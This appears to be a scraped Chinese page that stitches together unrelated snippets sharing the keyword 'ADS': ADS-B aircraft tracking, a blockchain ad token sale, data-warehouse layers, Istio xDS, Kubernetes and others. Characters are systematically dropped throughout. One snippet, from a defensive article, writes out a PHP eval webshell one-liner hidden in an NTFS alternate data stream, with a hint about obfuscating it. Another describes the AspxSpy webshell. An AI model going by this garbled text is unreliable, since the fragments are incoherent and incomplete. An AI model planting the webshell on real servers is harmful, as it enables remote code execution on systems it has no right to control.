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我做了一个系统,可以给所有飞过我家上空的飞机拍照

根据这位LukeBerndt推特用户分享,成片大概长这样: 别看这照片像素啥的都挺一般的,就凭这张照片,系统就能同步飞机的基本信息了,比如型号、重量,以及什么候经过房子上空的等。 其为了好地现跟踪,大多数飞机会发射一种ADS-B信号。该信号为1090MHz,任何低成本SDR都可以轻松接收。 Axis+PTZ:接收要通过MQTT跟踪的平面上的,然后将PTZ摄像机对准该平面,同拍照。 连续接收到一架飞机发出的ADS-B信息后,可以通过其坐标点来描绘出飞机的航行轨迹,并获取其飞行状态。这对于现今的民航飞行来说已经是非常普遍的了。 这架飞机在著名ADS-B网站FR24上显示的根据ADS-B信息绘制的航线轨迹,线部分是地面接收到了这飞机的ADS-B信号并且传输回服务器后自动绘制而成的际航线,虚线部分(红圈)是该区域没有ADS-B

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Kind Ads——利用区块链改善广告

Kind Ads是一种基于区块链的型广告解决方案。加密爱好者对它所提供的解决方案应该不会感到陌生:使市场去中心化和减少中介。 Kind Ads是一款可以在以太坊区块链上运行的基于区块链的广告协议。 它旨在通过减少中介,直接匹配广告商和发布平台,使双方能够发布好、有效的广告,同为用户提供好的广告体验。 简介 Kind Ads是一款可以在以太坊区块链上运行的基于区块链的广告协议。 它旨在通过减少中介,直接匹配广告商和发布平台,使双方能够发布好、有效的广告,同为用户提供好的广告体验。 这一体系从“Kind Ads 分数”这一概念开始。 上述大多数功能都是未来18个月中Kind Ads路线图的一部分,但它们现在还没有施。 我们有充分的理由保持乐观。 Kind Ads汇聚着一群能力出众的顾问,致力于现其承诺——给每个人提供好的互联网广告(当然,中介除外)。

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    让网络广告不再被中间商攫取巨额利润

    除此以外,区块链技术将重分配广告收入,让已经被谷歌、Facebook和其他社交媒体榨干的发布商重获得一席之地。 该基金会发现,推送通知是最有效的广告形式之一,可以让发布商获得高的回报。同,比起传统广告和弹出式广告,推送型广告对用户来说友好。 作为型数字广告技术的开拓者,Kind Ads的生态系统将为解决当前市场低效问题提供必要的工具和平台。 剩余将由Kind Ads平台放入奖励池,用于奖励用户和app合作伙伴。 我们的团队 Kind Ads团队在广告、市场和科技方面力雄厚。 Kind Ads代币销售 以下是即将推出的Kind Ads代币销售的详细信息: 代币名称:KIND 代币基础:ERC-20 代币供应:待定 代币销售目标:待定 代币销售开始间:待定 代币价格:待定 接受的虚拟货币

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    运用iGuard防御ADS权限维持

    和老的FAT文件系统相比,其提供了对元数据(metadata)和高级数据的多支持,在性能、可靠性和磁盘使用上也多有改进。在安全扩展方面,它对ACL名单和文件系统日志扩展支持也全面。 如向一个网页文件(index.php)写入名为「th000.jpg」的ADS流(写入的内容际上是PHP一句话木马): echo ^<?php eval($_GET['test']); ? > 这样在访问http://域名/login.php际上潜藏在 index.php:th000.jpg 里的网页木马就获得了执行。 这候可以把附加到ADS部分的代码写得有迷惑性,以绕过检测,举例如下: <? 这里以nginx+php为示例,想要阻止ADS写入数据其很简单,正常使用iGuard中的iLocker模块保护文件目录即可。

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    数仓:流式数据建模

    流式数据模型 架构设计 数据模型设计是贯穿数据处理过程的,在流式数据处理中也一样。建模与离线建模类似,数据模型整体上分为5层(ODS、DWD、DWS、ADS、DIM)。 ? 所以DWS和ADS的区别是:是否是业务通用指标。DWS、ADS层数据会存储到读写的数据库系统中,供前端业务进行访问。 DWS、ADS的数据表类型和离线系统一样,分为事表和维度表。 但在进行指标计算,事数据进行订阅,使用到的维度表数据不会进行获取,而使用的是T-2的离线数据。且维度表数据会存储在DIM层中,在计算进行获取。 首先是因为维度数据变化比较缓慢,其次如果维度也进行,那么当天计算出来的数据一致性就会出现问题,比如2点前的计算结果是维度未的结果,2点后的计算结果是维度后的结果。 而特定系统的维度指标结果作为ADS层数据,同样存储到读写的数据库系统中。

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    网站管理软件 – AspxSpy2014 Final

    此版本为开发版本,未进行任何加密,同不具备免杀功能。如果没有特殊情况,AspxSpy将不再(可能插件)。如果有需要的话可以自行进行二次开发,但请保留版权。 WMI例同理。 查看IIS ADS,最为重要的一项是AdminACL属性,这个属性以windows acl的方式规定了ADS访问权限,可以很直观的看出哪些属性可以被web应用程序所访问。 由于已经包含绝大部分常用功能,如无特殊情况ASPXSpy将不再,为了后续拓展性现提供插件加载功能。ASPXSpy的插件需要为一个合法的.net程序集,在上传后进行加载并反射调用插件方法。 修改文件下载方式,使其在下载大文件不会因应用程序池回收而崩溃。 4.PortScan 在Medium-Trust及低信任等级下会显示安全性异常,而不是所有端口均关闭的信息。

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    pyecharts 仪表盘

    前言 在前段间,小编推出了一篇 pyecharts 可视化仪表盘的制作教程: 《好看的 BI 大屏 Pyecharts 也可以做》 但存在几个问题,不能数据,制作的是静态的仪表盘,每次生成仪表盘都要调整代码 针对以上问题,这次小编带大家制作的可视化仪表盘。 开门见山 的可视化仪表盘 数据生成 我们假设目标背景是某西餐厅想通过可视化仪表盘监控餐厅的状况,便于做出相应的人力物力等资源配置。 创建一个 data 文件夹专门用来保存数据,需要写一个插入数据的脚本,用来达到数据的效果。 源码获取 关注微信公众号 “木下学Python”,回复 “pyecharts” 即可获取 END

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    论文阅读10-----基于强化学习的互联网应用

    我们的可以不断策略并且增大长期奖励。 验证明了我们很厉害。 广告竞价。 在线广告不连贯,策略不变,仅仅只考虑立刻最大化收入,当环境不行在现生活中是很不稳定的。 with recommendations and provide a principled approach for better advertising strategy; 1.我们发现推荐中的广告同提出来了一个好的广告策略

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    如何对MySQL数据库中的数据进行同步

    通过阿里云数据传输,并使用 dts-ads-writer 插件, 可以将您在阿里云的云数据库RDS for MySQL中数据表的变同步到分析型数据库中对应的写入表中(RDS端目前暂仅支持MySQL 并 点击此处 下载dts-ads-writer插件到您的一台服务器上并解压(需要该服务器可以访问互联网,建议使用阿里云ECS以最大限度保障可用性)。 在分析型数据库上创建目标表,数据类型为写入,字段名称和MySQL中的建议均相同; 2. 在阿里云数据传输的控制台上创建数据订阅通道,并记录这个通道的ID; 3. 如果需要调整RDS/分析型数据库表的主键,建议先停止writer进程; 2)一个插件进程中分析型数据库db只能是一个,由adsJdbcUrl指定; 3)一个插件进程只能对应一个数据订阅通道;如果通道中的订阅对象 ,需要重启进程 4)RDS for MySQL中DDL操作不做同步处理; 5)app.conf需要重启插件进程才能生效; 6)如果工具出现bug或某种其它原因需要重同步历史数据,只能回溯最近24小的数据

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    k8s运维:记 istio ingressgateway 关于TCP路由的一个小坑

    因为之前都是用 istio ingressgateway 做 L7 负载,这次收到一个集群 kafka broker 暴露需求,在设置的候习惯了 HTTP 的思路,所以才了坑。 rcmd.testing.mpengine' port: name: http number: 16354 protocol: HTTP gateway 资源会被 istiod 监控,当一个的 gateway 创建的候, istiod 会根据 gateway 的 selector 选择符合条件的 istio proxyv2 的 pod (也就是istio ingressgateway的运行例 host: prometheus.cluster-monitor.svc.cluster.local port: number: 80 这是 HTTP 协议转发现 ,但istio ingressgateway 在 TCP 协议是不同的,对于 TCP 类型的 gateway 只有同修改 gateway 和 virtualService才能开启端口,同样做个测试:

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    php统计查询,

    Max 获取最大值,参数是要统计的字段名(必须) Min 获取最小值,参数是要统计的字段名(必须) Avg 获取平均值,参数是要统计的字段名(必须) Sum 获取总分,参数是要统计的字段名(必须) 例 : 如果想要知道一个用户的银行卡张数,并且显示出来.可以这样 public function test(){ $map['uid'] = '58'; $user

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    JavaScript常用方法-

    }             }             return url + '\n' + arg + '\n' + arg_val;         } ---- js中的间与毫秒数互相转换 【1】js毫秒间转换成日期间 var oldTime = (new Date("2012/12/25 20:11:11")).getTime(); //得到毫秒数   //不是上面格式的间需要转换 RegExp("-","gm"),"/");     var starttimeHaoMiao = (new Date(starttime)).getTime(); //得到毫秒数 【2】毫秒数转化为间 oldTime = (new Date("2012/12/25 20:11:11")).getTime(); //得到毫秒数   var newTime = new Date(oldTime); //就得到普通的间了

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    项目设计--202103

    项目设计 1、 Flink统计订单成交金额 1、业务数据存储到mysql中 2、使用canal将数据导到kafka 3、手动维护kafka的offset到mysql(结合mysql的事务 ) 4、使用flink去处理kafka中的数据 5、统计结果输出到`console` or存到`mysql` or 存到`redis` or存到`hbase`

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    数仓:Kappa架构

    流式数据模型 架构设计 数据模型设计是贯穿数据处理过程的,在流式数据处理中也一样。建模与离线建模类似,数据模型整体上分为5层(ODS、DWD、DWS、ADS、DIM)。 ? 所以DWS和ADS的区别是:是否是业务通用指标。DWS、ADS层数据会存储到读写的数据库系统中,供前端业务进行访问。 DWS、ADS的数据表类型和离线系统一样,分为事表和维度表。 但在进行指标计算,事数据进行订阅,使用到的维度表数据不会进行获取,而使用的是T-2的离线数据。且维度表数据会存储在DIM层中,在计算进行获取。 首先是因为维度数据变化比较缓慢,其次如果维度也进行,那么当天计算出来的数据一致性就会出现问题,比如2点前的计算结果是维度未的结果,2点后的计算结果是维度后的结果。 而特定系统的维度指标结果作为ADS层数据,同样存储到读写的数据库系统中。

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    深度解读服务治理 & ServiceMesh、xDS

    Pilot借助ADS对API推送排序的能力,按照CDS-EDS-LDS-RDS 的顺序串行分发配置。 利用XDS协议,Envoy可以现配置的完全动态化,配置而无需重启Envoy或者影响业务,此外,利用其L3/L4/L7 Filter机制,Envoy可以完全无侵入的扩展各种强大的功能。 由于Envoy xDS采用最终一致性,部分流量可能在被丢弃。 使用ADS可以解决[无法忍受数据丢弃的场景], ADS为什么可以做到? 通过顺序的配置分发,轻松解决资源顺序的问题。 按照这个方式CDS-EDS-LDS-RDS下发,由Polit控制,规避流量丢失的问题,这就是ADS设计的由来。 4.2.3 角度二:增量xDS (从性能的角度) [当配置发生变化,仅下发和发生变化的配置部分] 如何现?

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    适合 Kubernetes 初学者的一些战练习 (五)

    战练习系列的前四篇文章: 适合 Kubernetes 初学者的一些战练习 (一) 适合 Kubernetes 初学者的一些战练习 (二) 适合 Kubernetes 初学者的一些战练习 (三) 适合 Kubernetes 初学者的一些战练习 (四) 本文继续我们的 Kubernetes 战练习之旅。 练习2 - 通过一个基于 PostgreSQL 的具体例子学习 Kubernetes Stateful Set Stateful Set 是 Kubernetes 1.9 版本引入的一个概念,用于管理有状态的应用 statefulset: 生成的 headless service: 生成的 pod: 当我把 statefulset yaml 文件里的 replicas 从 1 改成 3 之后,果然观察到有两个的 初学者的一些战练习 (三) 适合 Kubernetes 初学者的一些战练习 (四)

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    如何优化移动页面,你需要了解AMP和PWA

    这几年移动网络技术的发展有限,确在界面上没有像原生应用易操作,而且当网络信号受影响,网页的加载速度及用户体验都会减慢。 ? 像amp-bind和amp-position-observer这样的组件为开发人员提供了在AMP页面上创建丰富交互性的工具,除了摒弃之前需要一直依赖加狭义的组件和低级框架之外,AMP一直致力于使复杂的交互变得加容易 一般通过用AMP-install-serviceworker组建,当用户浏览AMP页面,通过Serviceworker,这样他们在站内点击其他网页,发布商可以通过用户粘性效应,将他们带入PWA的全用户体验界面 如何检查AMP是否施成功 -?检查您网站的最高比率着陆页面的用户来源,是否有因AMP而提升-?检查谷歌分析工具,当用户浏览AMP页面的候,用户的长还有浏览页数是否有增加 -? 但是这是一次性的,所以当过去的用户重回到您网站浏览,这些数据就会得到统一(这可能需要很长的间,具体取决于用户返回您的网站的速度)。

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    istio mcp-over-xds 原理及

    在今年五月份社区已经添加了 MCP-OVER-XDS的现[1] ,在当前的master代码中已经 移除了mcp 协议[2] 的现代码,将全部转换为MCP-OVER-XDS现,也就意味着istio 1.9将不再支持原有MCP协议,具体参考 XDS-OVER-MCP设计[3] initConfigSources 当我们配置的ConfigSource为XDS类型,将创建XDS client,用于发起请求 Build() ads run ads run主要进行发送初始发现请求,然后接收返回的数据 func (a *ADSC) Run() error { var err error a.client groupVersionKind := config.GroupVersionKind{Group: gvk[0], Version: gvk[1], Kind: gvk[2]} 判断cache内是否有对应的对象,有则 ads server 对于原生的envoy-control-plane,使用xds.newserver,利用snapshotcache来ads server的方式在istio中不适用,因为envoy-control-plane

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    Kubernetes stateful set讲解以及一个基于postgreSQL的具体例子

    https://jerry.blog.csdn.net/article/details/84240017 Stateful Set是Kubernetes 1.9版本引入的一个概念,用于管理有状态的应用 定义具体应用的StatefulSet 下面我给出了一个际应用中的StatefulSet的yaml文件: --- apiVersion: apps/v1 kind: StatefulSet metadata : name: ads-db-statefulset labels: component: ads module: db spec: serviceName: ads-db-service 当我把statefulset yaml文件里的replicas从1改成3之后,果然观察到有两个的pod正在启动,并且名称满足命名规范-X。 ? 使用如下命令行连接postgreSQL服务器: psql -h ads-db-statefulset-0.ads-db-service -p 5432 -U adsuser -W ads ?

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    Flink 对线面试官(三):6k 字,6 个面试高频战问题(建议收藏)

    (只有我们准确的识别出这个区别,才能对数仓的分层设计有准确的理解) ⭐ 分析差异:构建数仓肯定会参考离线数仓构建方法,但是如果数仓按照离线数仓分层设计去做会存在什么问题? 良好的数仓分层设计可以好地组织和存储数据,以便在性能、成本、效率和质量之间取得最佳平衡! ⭐ 数仓和离线数仓的核心区别是怎样的? 数仓相比离线数仓的特点其就两个字:。 ⭐ 数据间粒度比离线数仓细:离线数据的间粒度通常都是小、天粒度,比如 ads 层计算 1 天的 GMV;数据,相同的 GMV 数据在数仓中,ads 数据聚合粒度通常为 1min 级别,比如当天 应用场景:维度发生的,这类在数仓中需要访问最的维度数据 b. 常用存储介质:redis,hbase,mysql c. 但是其如果我们能对资源预估有一个成体系、有数据支撑的方案在向 Sre 要资源有说服力的。

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      实时音视频(Tencent RTC)主打低延时互动直播和多人音视频两大解决方案,支持低延时直播观看、实时录制、屏幕分享、美颜特效、立体声等能力,还能和直播 CDN 无缝对接,适用于互动连麦、跨房PK、语音电台、K 歌、小班课、大班课、语音聊天、视频聊天、在线会议等业务场景。

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